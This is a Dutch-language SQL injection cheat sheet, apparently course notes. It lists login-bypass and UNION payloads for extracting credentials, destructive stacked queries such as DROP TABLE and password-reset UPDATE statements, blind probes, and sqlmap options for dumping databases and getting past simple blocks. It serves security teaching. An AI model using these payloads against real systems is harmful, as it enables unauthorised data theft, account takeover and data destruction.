In dit onderdeel ging het over input die in SQL-queries terechtkomt. De belangrijkste gevolgen waren data uitlezen, loginlogica manipuleren en database-informatie enumereren.
PortSwigger SQLi cheat sheet
Volledige payload-referentie per database-type.
In een oogopslag
| Techniek | Payload (basis) |
|---|---|
| Detecteren | ' -> error? ; OR 1=1 vs OR 1=2 |
| Login bypass | ' OR 1=1 -- of 'administrator' -- |
| Hidden data | ' OR 1=1 -- in filter/param |
| UNION attack | ' UNION SELECT username,password FROM users -- |
| DB onderzoeken | versie + information_schema |
| Data wijzigen | '; UPDATE ... -- ; '; DROP TABLE ... -- |
| Blind | AND 1=1 vs AND 1=2 |
| SQLmap | sqlmap -u "...?id=1" --dbs |
Technieken in detail
Detecteren
Detecteren
- Voeg een enkele quote
'(of;) toe -> SQL-error = mogelijk kwetsbaar - Boolean-test:
OR 1=1(true) vsOR 1=2(false) -> verschil = kwetsbaar - String vs numeric: string zit tussen
'...'(uitbreken met'); numeric (?id=10) ->10 AND 1=2 --(met spatie!),/* */of#becommentarieert de rest weg
Login bypass
Login bypass
Query:
... WHERE user='$u' AND password='$p'- In het username-veld:
' OR 1=1 ---> password-check wordt comment - Gericht:
administrator' --of' OR 1=1 LIMIT 1 -- - Dubbele quotes:
" OR "1"="1
UNION attack
UNION attack
Resultaten van een tweede query aan de output plakken. Zelfde aantal kolommen + compatibele types.
Aantal kolommen
' ORDER BY 1 -- , 2 -- , … tot een error. Of ' UNION SELECT NULL,NULL -- tot geen error.String-kolom vinden
' UNION SELECT 'a',NULL,NULL -- -> schuif 'a' door tot ze zonder type-error toont.Database onderzoeken
Database onderzoeken
- Versie:
' UNION SELECT @@version --(MySQL/MSSQL) ;version()(Postgres) ;v$version(Oracle) - Tabellen:
' UNION SELECT table_name,NULL FROM information_schema.tables WHERE table_schema='db' -- - Kolommen:
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users' --
Data wijzigen (stacked queries)
Data wijzigen (stacked queries)
- Update:
'; UPDATE users SET password='123' WHERE username='Admin' -- - Insert:
'; INSERT INTO users (username,password) VALUES ('koenK','123') -- - Drop:
'; DROP TABLE access_log --
Blind SQLi
Blind SQLi
Geen data/error zichtbaar, alleen true/false-verschil.
- Boolean:
... id=1 AND 1=1(normaal) vsid=1 AND 1=2(anders/leeg) - Char per char:
' OR substring(database(),1,1)='b' --,' OR length(database())=5 -- - Traag -> automatiseer met SQLmap
NoSQL & second-order
NoSQL & second-order
- NoSQL (MongoDB): injecteer logica ->
' || true || 'retourneert alle records - Second-order: input wordt veilig opgeslagen maar later onveilig hergebruikt
Inputlocaties en encoding
De SQL-logica is overal identiek. Wat verschilt: encoding en gereedschap.- Input-veld (POST)
- URL / GET
- Headers / overig
Bij POST-velden werd de payload raw ingevoerd. De browser encodeert de request daarna zelf:Valkuil:
maxlength / type=number / JS-validatie -> onderschep met Burp.SQLmap
| Vector | SQLmap-aanpak |
|---|---|
| URL / GET | sqlmap -u "...?id=1" (-p id om param te kiezen) |
| POST-body | --data="user=x&pass=y" |
| Volledige request | onderschep in Burp -> Copy to file -> sqlmap -r request.txt |
| Cookie / login | --cookie="PHPSESSID=...;security_level=0" |
| Headers/cookies met SQLmap | --level 2 (cookies), --level 3 (User-Agent/Referer) |
| Eigen injectiepunt | zet een * op die plek in -r of --data |
Handige SQLmap parameters
| Parameter | Wat doet het? | Handig wanneer |
|---|---|---|
-u "URL" | Doel-URL met parameter. | Snelle GET-test zoals ?id=1. |
-r request.txt | Laadt een volledige HTTP-request. | Burp-request exact herhalen, inclusief headers en cookies. |
-p id | Test alleen die parameter. | SQLmap test anders te breed of mist de juiste plek. |
--data="a=1&b=2" | Stuurt POST-data mee. | Loginforms, filters en API-endpoints. |
--cookie="PHPSESSID=..." | Stuurt cookies mee. | Authenticated SQLi testen. |
--headers="X-Test: 1" | Stuurt extra headers mee. | Custom headers of API headers nodig. |
--level 2 / --level 3 | Test meer plaatsen zoals cookies en headers. | Injectie zit niet in een gewone URL-param. |
--risk 2 / --risk 3 | Laat riskantere tests toe. | Meer payloads nodig, maar pas op bij data-wijzigende tests. |
--batch | Beantwoordt vragen automatisch. | Snelle runs zonder interactieve prompts. |
--dbs | Enumereert databases. | Eerste database-overzicht. |
-D naam --tables | Toont tabellen in database. | Na --dbs verder graven. |
-D naam -T tabel --columns | Toont kolommen in tabel. | Voor gericht dumpen. |
-D naam -T tabel -C col1,col2 --dump | Dumpt gekozen kolommen. | Alleen nuttige data ophalen. |
--current-db | Toont huidige database. | Snel weten waar de app op zit. |
--current-user | Toont database-user. | Rechten en context begrijpen. |
--technique=U | Beperkt tot een techniek, bv. UNION. | Als je al weet welke techniek werkt. |
--proxy=http://127.0.0.1:8080 | Stuurt SQLmap via Burp. | Payloads en responses live volgen. |
--random-agent | Wisselt User-Agent. | Eenvoudige blocks of filtering omzeilen. |
--flush-session | Vergeet oude SQLmap-resultaten. | Na codewijziging of foutieve detectie opnieuw testen. |
Tools
SQLmap
Tool voor detectie, database-enumeratie en dumps.
Burp Suite
Handig om volledige requests te bewaren voor
sqlmap -r.Browser DevTools
Referentie voor errors, request parameters en responseverschillen.
PortSwigger SQLi cheat sheet
Payloads per database-type en aanvalsvorm.